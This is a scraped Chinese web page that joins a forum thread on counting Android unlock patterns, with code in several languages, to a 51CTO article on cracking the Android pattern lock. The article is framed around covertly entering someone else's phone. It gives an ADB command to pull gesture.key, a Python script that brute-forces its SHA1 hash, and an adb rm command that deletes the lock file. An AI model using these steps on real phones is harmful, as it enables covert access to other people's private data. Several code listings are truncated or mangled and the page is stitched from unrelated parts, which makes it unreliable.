您还未登陆，请登录后操作！
屏幕九宫格解锁图案忘记，怎样解锁，个位大神指点指点，急急急，在线等待（不刷机
下载甜椒刷机助手，它里面有一个清楚图案锁的软件
您的举报已经提交成功，我们将尽快处理，谢谢！
这个就只有刷机了。但是刷机以后手机里的东西都没有了就，建议备份好，然后刷机。
大家还关注手机的九宫格图案解锁总共能绘出多少种图案？
需要满足的要求有：至少经过四个点；不能重复经过同一个点；路径上的中间点不能跳过（如从1到3一定会经过2）；如果中间的点是之前已经用过的，那么这个点就可以被跳过（如213，因为2已经被用过，1就可以越过2与3连接，132是不允许的）。
按投票排序
from itertools import *
impossible = {'13': '2',
'46': '5',
'79': '8',
'17': '4',
'28': '5',
'39': '6',
'19': '5',
'37': '5',
'31': '2',
'64': '5',
'97': '8',
'71': '4',
'82': '5',
'93': '6',
'91': '5',
'73': '5'}
def counts():
iterlst = chain(*(permutations('', i) for i in range(4, 10)))
for i in iterlst:
stri = ''.join(i)
for k, v in impossible.items():
if k in stri and v not in stri[:stri.find(k)]:
count += 1
return count
print(counts())
我用python写了段代码，先计算出所有大于四个数字的所有排列组合，然后从中剃除穿过中间那个数字的组合，剩下的既为符合要求的代码。例如13组合是不可能存在的，因为它会穿过2，19组合也不可能存在，因为它会穿过5，总共有16个这样的组合。但是假如中间这个数字已经用过了，是可以穿过的，比如213，2已经用过了，1是可以穿过2与3连接的。如此筛选以后，就得到正确答案389112了。
以下引用自果壳网：Android 的密码是 3 × 3 点阵中的一条路径，这条路径可以交叉，可以“走日字”，几乎是无所不能（只要不经过重复点），但却有一个例外：路径不允许跳过途中必须要经过的点。例如， 如果从左上角的点连接到右上角的点，中间的那个点会被自动地加进路径里。但麻烦就麻烦在，这个规则本身也有一个值得注意的地方：如果中间的点是之前已经用过的，那么这个点就可以被跳过去了。我们不妨把点阵中的九个点分别用数字 1 到 9 编号。按照上述规则， 都是不合法的，但 2 则都是可行的。死理性派这下苦恼了，似乎五花八门的组合数学模型在这里都派不上用场。怎么办呢？别急，我们还有强大的计算机帮忙。下面，有请编辑最爱的数学软件 Mathematica 登场。首先，让我们生成所有 985 824 种没有限制的排列组合：再记下不能直接连接的点对：由此生成不合法的排列规则：从全部排列组合中删掉不合法的，便得到了所有可能的 Android 密码了：Android 密码一共有多少种可能性呢？让我们来看看：这样，我们就得到了一个准确的数字：在 Android 系统上一共有 389 112 种可能的密码，只占之前估计的密码数上限的 1/3 左右。
终于有机会见识了聪明的程序员们究竟是怎么一群人。 你们真棒！
贴个c代码，轻拍#include &stdio.h&int res[];int cnt=0,t=0;int genarry(int*a,int n[9],int l,int s){
for(i=0;i&s;i++)res[cnt][i]=a[i-s];
for(i=0;i&9;i++){
if(n[i]==0)
genarry(a+1,n,l-1,s);
return 0;}int select(){
int taboo[16][2]={
{1,3},{3,1},
{4,6},{6,4},
{7,9},{9,7},
{1,7},{7,1},
{2,8},{8,2},
{3,9},{9,3},
{1,9},{9,1},
{3,7},{7,3}
for(i=0;i&i++){
int j,flag=0;
for(j=0;res[i][j+1]!=0&&!j++){
for(k=0;k&16&&!k++){
if(res[i][j]==taboo[k][0]&&res[i][j+1]==taboo[k][1]){
for(l=0;l&j;l++){
if(res[i][l]==(taboo[k][0]+res[i][j+1])/2)flag=0;
res[i][9]=-1;
return cnt-t;}int main(){
int a[9],n[9],i,
for(i=0;i&9;i++)n[i]=1;
for(i=4;i&10;i++)
genarry(a,n,i,i);
count=select();
printf("%d\n",count);
return 0;}把结果打出来随机选一个做解锁会不会安全一点
我是来比谁的程序更简单的...
pascal语言不知有谁知道没有...var flag:array[0..9] plus:array[0..9,0..9]ans,i:procedure search(t,count,pre:longint);var k:beginif count=t then begin inc(ans); endelse if count&for k:=1 to 9 doif flag[k] and not(flag[plus[pre,k]] or flag[plus[k,pre]])
thenbeginflag[k]:=search(t,count+1,k);flag[k]:=endelse if flag[k] and (flag[plus[pre,k]] or flag[plus[k,pre]]) //middle does not used
begin //MAIN
fillchar(flag,sizeof(flag),true);
fillchar(plus,sizeof(plus),0);
plus[1,3]:=0;
plus[7,9]:=8;
plus[1,7]:=4;
plus[2,8]:=5;
plus[9,3]:=6;
plus[1,9]:=5;
plus[3,7]:=5;
plus[4,6]:=5;
for i:=4 to 9 do
search(i,0,0);
writeln(ans);
贴一个JAVA代码: public static void main(String[] args) {
int res=counts();
System.out.println(res);
public static int counts(){
HashMap&String,String& map = new HashMap&String,String&();
ArrayList&String& permute = new ArrayList&String&();
for(int i=4;i&=9;i++){
permute.addAll(permutation(9,i));
System.out.println(permute.size());
map.put("13", "2");
map.put("46", "5");
map.put("79", "8");
map.put("17", "4");
map.put("28", "5");
map.put("39", "6");
map.put("19", "5");
map.put("37", "5");
map.put("31", "2");
map.put("64", "5");
map.put("97", "8");
map.put("71", "4");
map.put("82", "5");
map.put("93", "6");
map.put("91", "5");
map.put("73", "5");
int count = permute.size();
for(String cur :permute){
for (Entry&String, String& entry : map.entrySet()){
String key = entry.getKey();
String value = entry.getValue();
if(cur.contains(key) && (cur.indexOf(value) == -1 || cur.indexOf(value) & cur.indexOf(key)) ){
public static ArrayList&String& permutation(int n,int k){
ArrayList&String& res = new ArrayList&String&();
for(int i =1;i&=n;i++){
StringBuilder temp= new StringBuilder();
temp.append(i);
BFS(n,k,temp,1,i,res);
public static void BFS(int n, int k,StringBuilder cur,int depth, int x,ArrayList&String& res){
if(depth == k){
res.add(new String(cur));
for(int i=1;i&=n;i++){
if(cur.indexOf(String.valueOf(i)) &=0)
cur.append(i);
BFS(n,k,cur,depth+1,i,res);
cur.deleteCharAt(cur.length()-1);
基础算法可以写深搜算法，递归遍历。为了避免节点的重复可设置flag标记位。除了边界定义好四个方向。最外层循环控制图形路过的节点个数，从四开始。第二层循环遍历各个方向的可行性。具体细节回家在写程序
我是来告诉楼上诸位，从CM10开始，可以自定义4*4/5*5/6*6个点，能否计算？
# ruby 版，轻拍
[[0, 0], [0, 1], [1, 1]]
.zip([4, 4, 1])
.map do |pt, n|
cnt = [4, 5, 6, 7, 8, 9]
.map do |i|
solve(pt, i)
.inject(:+)
.inject(:+)
def solve(pt, steps = 4, points_taken = [], roadmap = build_roadmap(points_taken))
return 1 if points_taken.size == steps - 1
(roadmap[pt] || []).map do |pt_to|
solve(pt_to, steps, points_taken + [pt])
.inject(:+)
def build_roadmap(points_taken = [])
pts = [0, 1, 2]
.product([0, 1, 2])
.reject do |pt|
points_taken.include?(pt)
pts.product(pts)
.reject do |pt1, pt2|
pt1 == pt2
.reject do |(x1, y1), (x2, y2)|
mid_x, mid_y = [(x1 + x2) / 2, (y1 + y2) / 2]
dest_x, dest_y = [mid_x * 2 - x1, mid_y * 2 - y1]
!points_taken.include?([mid_x, mid_y]) && [dest_x, dest_y] == [x2, y2]
.inject({}) do |hash, (pt1, pt2)|
hash[pt1] ||= []
hash[pt1] && pt2
#include&stdio.h&
#define ABS(a) (((a)&=0)?(a):-(a))
#define HALF(a,b) ((a)%3 + (b)%3)/2 + 3*(((a)/3 + (b)/3)/2)
bool flags[9]={true,true,true,true,true,true,true,true,true};
bool check(int a,int b)
if(a%3 == b%3 && ABS(a/3 - b/3) == 2 && flags[HALF(a,b)])return false;
if(a/3 == b/3 && ABS(a%3 - b%3) == 2 && flags[HALF(a,b)])return false;
if(ABS(a%3 - b%3) == 2 && ABS(a/3 - b/3) == 2&& flags[HALF(a,b)])return false;
return true;
int count(int j,int pre,int counter)
for(int i=0;i&9;i++){
if(flags[i] && check(pre,i)){
flags[i] = false;
counter = count(j+1,i,counter);
flags[i] = true;
return (j&2)?counter + 1:counter;
int main()
flags[0] = false;
int a = count(0,0,0)*4;
flags[1] = false;flags[0] = true;
int b = count(0,1,0)*4;
flags[4] = false;flags[1] = true;
int c = count(0,4,0);
printf("%d\n",a+b+c);
根据对称性做了优化。
用matlab写了几行算了下，答案是389112种。s = struct('end_points', {'13'; '31'; '46'; '64'; '79'; '97'; '17'; ...
'71'; '28'; '82'; '39'; '93'; '37'; '73'; '19'; '91'}, ...
'mid_point', {'2'; '2'; '5'; '5'; '8'; '8'; '4'; '4'; '5'; ...
'5'; '6'; '6'; '5'; '5'; '5'; '5'});
for i = 4:9
c = nchoosek('', i);
for j = 1:size(c, 1)
p = perms(c(j, :));
for k = 1:size(p, 1)
for l = 1:size(s, 1)
if ~isempty(strfind(p(k, :), s(l).end_points)) && ...
isempty(strfind(p(k, (1:(strfind(p(k, :), ...
s(l).end_points) - 1))), s(l).mid_point))
n = n + 1;
num = num + 1;
用动态规划，复杂度为(2^9)*9*9……
参考1L的方法写的，呵呵。public class PhoneLock {
private int lockNum = 0;
public int no[][] = {
{13, 2}, {46, 5}, {79, 8},
{17, 4}, {28, 5}, {39, 6},
{19, 5}, {37, 5}
public boolean isLegal(int lock[], int k, int t, int number[]){
if(k & 0){
int n1 = 10 * lock[k-1] + t;
int n2 = 10 * t + lock[k-1];
for(int i = 0; i & no.length; i ++){
if((n1 == no[i][0] || n2 == no[i][0])
&& number[no[i][1] - 1] != -1){
return false;
return true;
public void func(int lock[], int number[], int k, int n){
if(k == n){
lockNum ++;
for(int i = 0; i & number.length; i ++){
int t = number[i];
if(t != -1 && isLegal(lock, k, t, number)){
lock[k] = t;
number[i] = -1;
func(lock, number, k + 1, n);
number[i] = t;
public int getLockNum(){
int number[] = {1, 2, 3, 4, 5, 6, 7, 8, 9};
for(int n = 4; n &= 9; n ++){
func(new int[9], number, 0, n);
return lockNum;
public static void main(String[] args) {
PhoneLock lock = new PhoneLock();
System.out.println(lock.getLockNum());
上面的代码不全，刚刚搜索了完整的粘贴了上来。。。。。
#include&iostream&
long c=0,p=0;
void s(int k)
if(a[k]==0)
if(p&3)c++;
if(k==0){s(1);if(a[1]==1)s(2);s(3);s(4);s(5);if(a[3]==1)s(6);s(7);if(a[4]==1)s(8);}
if(k==1){s(0);s(2);s(3);s(4);s(5);s(6);if(a[4]==1)s(7);s(8);}
if(k==2){if(a[1]==1)s(0);s(1);s(3);s(4);s(5);if(a[4]==1)s(6);s(7);if(a[5]==1)s(8);}
if(k==3){s(0);s(1);s(2);s(4);if(a[4]==1)s(5);s(6);s(7);s(8);}
if(k==4){s(0);s(1);s(2);s(3);s(5);s(6);s(7);s(8);}
if(k==5){s(0);s(1);s(2);if(a[4]==1)s(3);s(4);s(6);s(7);s(8);}
if(k==6){if(a[3]==1)s(0);s(1);if(a[4]==1)s(2);s(3);s(4);s(5);s(7);if(a[7]==1)s(8);}
if(k==7){s(0);if(a[4]==1)s(1);s(2);s(3);s(4);s(5);s(6);s(8);}
if(k==8){if(a[4]==1)s(0);s(1);if(a[5]==1)s(2);s(3);s(4);s(5);if(a[7]==1)s(6); s(7);}
int main()
for(i=0;i&9;i++)a[i]=0;
for(i=0;i&9;i++)s(i);
他的思路是这样的：
长度为9的数组，每位都是0或1
为0代表未采用此为做密码，1代表采用了
p代表已设置密码的位数，c代表可用密码个数
当长度大于等于4时，c加一
s（k）将第k+1位密码启用（k从0开始，k+1表示1~9位）
在启用某位密码时，当a[0]以设为1，a[0]设置后，马上设置a[2]时，会检测a[1]是否为1，
只有a[1]为1时，才将a[2]设置为1
if(k==0){s(1);if(a[1]==1)s(2);就是这里的if(a[1]==1)
第一次有勇气来知乎回答问题，这个问题跟我昨天想的一个好像是很类似的我家楼下有一个四果汤的冷饮店，什么是四果汤呢，就是从12种配料中挑出4种，加蜂蜜和清水兑成，我昨天一时兴起，算了一下四果汤一共的组合，居然有20736种，也就是说我一天买一种组合，要买满50年，还不考虑因使用明胶和色素等添加剂造成中途夭折的情况....有点跑题了，回到这来，我发现其实把两个题的主要信息提取出来，其实算法是一样的这其实就是一个排列组合的命题，公式有点忘了，但是方法大概是这样：给每个格子命名，1、2、3、4、5、6、7、8、91.用到4个数字生成的解锁图案那么第一种组合有9*8*7*6=3024种2.用到5个数字生成的解锁图案第二种一共有20种3.用到6个数字生成的解锁图案第三种一共有80种4.用到7个数字生成的解锁图案第四种有440种5.用到8个数字生成的解锁图案第五种有=362880种6.用到9个数字生成的解锁图案用到9个数字和8个数字的数量是一样多的，几乎每个图形都可是类似的，但是只少一个点所以就是362880种所以：总的能生成的数量是上面的总和：++880=985824种
楼主的规则是方便noob用户使用的，实际的密码设计编程毫无限制（相同数字连续也是可以的），根据密码长度有9^N次方种情形，但最后都是经过加密算法存在某个文件里的，如md5加密成16位或者32位，linux系统下有个目录里的某个文件就是存所有用户名密码的。其实手机如果丢了，数据安全就别想了，人家随便加个777想看什么看什么，那些所谓的远程锁机都是些商业噱头
第一位有9种选择，第二位有8种选择，第三位有7种选择，……第一位有9种选择，第二位有8种选择，第三位有7种选择，……所以：密码总数＝9*8*7*6*5*4*3*2*1=362,880感谢 提醒，我的计算方法只考虑了密码为9位的情形，漏了密码少于9位的情形，特此更正。您所在的位置： &
如何破解安卓手机上的图形锁(九宫格锁)
如何破解安卓手机上的图形锁(九宫格锁)
安卓手机的图形锁(九宫格)是3×3的点阵，按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点，最多能连接9个点。网上也有暴力删除手机图形锁的方法，即直接干掉图形锁功能。但假如你想进入别人的手机，但又不想引起其警觉的话……你可以参考一下本文。
安卓手机的图形锁(九宫格)是3&3的点阵，按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点，最多能连接9个点。网上也有暴力删除手机图形锁的方法，即直接干掉图形锁功能。但假如你想进入别人的手机，但又不想引起其警觉的话&&你可以参考一下本文。
前提条件：手机需要root，而且打开调试模式。一般来讲，如果用过诸如&豌豆荚手机助手&、&360手机助手&一类的软件，都会被要求打开调试模式的。如果要删除手机内置软件，则需要将手机root。
首先科普一下，安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知，每个点都有其编号，组成了一个3&3的矩阵，形如：
假如设定解锁图形为一个&L&形，如图：
那么这几个点的排列顺序是这样的：00 03 06 07 08。系统就记下来了这一串数字，然后将这一串数字(以十六进制的方式)进行SHA1加密，存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑，然后ADB连接手机，将文件下载到电脑上(命令：adb pull /data/system/gesture.key gesture.key)，如图：
用WinHex等十六进制编辑程序打开gesture.key，会发现文件内是SHA1加密过的字符串：c8c0b24a15dc8bbfd，如图：
当你下次解锁的时候，系统就对比你画的图案，看对应的数字串是不是对应的加密结果。如果是，就解锁;不是就继续保持锁定。那么，如果穷举所有的数字串排列，会有多少呢?联想到高中的阶乘，如果用4个点做解锁图形的话，就是9x8x7x6=3024种可能性，那5个点就是15120，6个点的话60480，7个点个点个点362880。总共是985824种可能性(但这么计算并不严密，因为同一条直线上的点只能和他们相邻的点相连)。
满打满算，也不到985824种可能性。乍一看很大，但在计算机面前，穷举出来这些东西用不了几秒钟。
知道了原理，就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置，生成00-09的排列组合)。
主要流程为：
1.ADB连接手机，获取gesture.key文件
2.读取key文件，存入字符串str_A
3.生成全部可能的数字串
4.对这些数字串进行加密，得到字符串str_B
5.将字符串str_A与str_B进行对比
6.如果字符串A，B相同，则说明数字串num就是想要的解锁顺序
7.打印出数字串num
下面为程序：
#&-*-&coding:&cp936&-*-import&itertools
import&hashlib
import&time
#调用cmd，ADB连接到手机,读取SHA1加密后的字符串
os.system(&adb&pull&/data/system/gesture.key&gesture.key&)
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
pswd_hex=pswd.encode('hex')print&'加密后的密码为：%s'%pswd_hex
#生成解锁序列，得到['00','01','02','03','04','05','06','07','08']
matrix=[]&
for&i&in&range(0,9):
&&&&str_temp&=&'0'+str(i)
&&&&matrix.append(str_temp)#将00&&08的字符进行排列，至少取4个数排列，最多全部进行排列
max_num=len(matrix)for&num&in&range(min_num,max_num+1):#从04&-&&08
&&&&iter1&=&itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
&&&&list_m=[]
&&&&list_m.append(list(iter1))#将生成的排列全部存放到&list_m&列表中
&&&&for&el&in&list_m[0]:#遍历这n个数字的全部排列
&&&&&&&&strlist=''.join(el)#将list转换成str。[00,03,06,07,08]--&
&&&&&&&&strlist_sha1&=&hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
&&&&&&&&if&pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
&&&&&&&&&&&&print&'解锁密码为：',strlist
从程序本身来说，得到解锁密码后应该用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句，如果要跳出多重循环，只能设置标志位然后不停进行判定。为了运行速度就略去了&跳出循环&这个步骤。(有没有更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来说，如果单单是忘记了自己的手机图形锁密码，完全可以用更简单的办法：ADB连接手机，然后&adb rm /data/system/gesture.key&删除掉gesture.key文件，此时图形锁就失效了，随意画一下就能解锁。但本文开篇假设的是&为了不被察觉地进入到别人的手机里&，所以就有了这篇文章。
最后提一个安全小建议：如果手机已root，还要用&XX手机助手&，还想设置图形锁的话&&在手机&设置&选项里，有一个&锁定状态下取消USB调试模式&(这个名字因手机而异，而且有的有此选项，有的手机就没有)，开启此功能之后，在手机锁定状态下就能够防范此类攻击了。此文技术原理很简单，还望各位大大传授些高大上的Python编程技巧。【编辑推荐】【责任编辑： TEL：（010）】
关于&&的更多文章
2015年春天来临，作为网络安全管理员，我们的春天也来啦。参与体
信锐技术专注访客、企业承载、服务增值、公共热点等行业应用的每一个无线需求特点。
讲师： 681人学习过讲师： 80人学习过讲师： 8人学习过
2013年，网络空间依然不太平，各类安全事件频发。年中
F5再度发力推出全新的SDAS（软件定义的应用服务），并
2013年，云计算、移动互联、物联网、SDN、大数据等技
本书详细介绍脚本语言Groovy，首先介绍Groovy语言的基本特性，包括讨论Groovy方法、程序闭包、列表、映射以及对类和继承的支持，
51CTO旗下网站}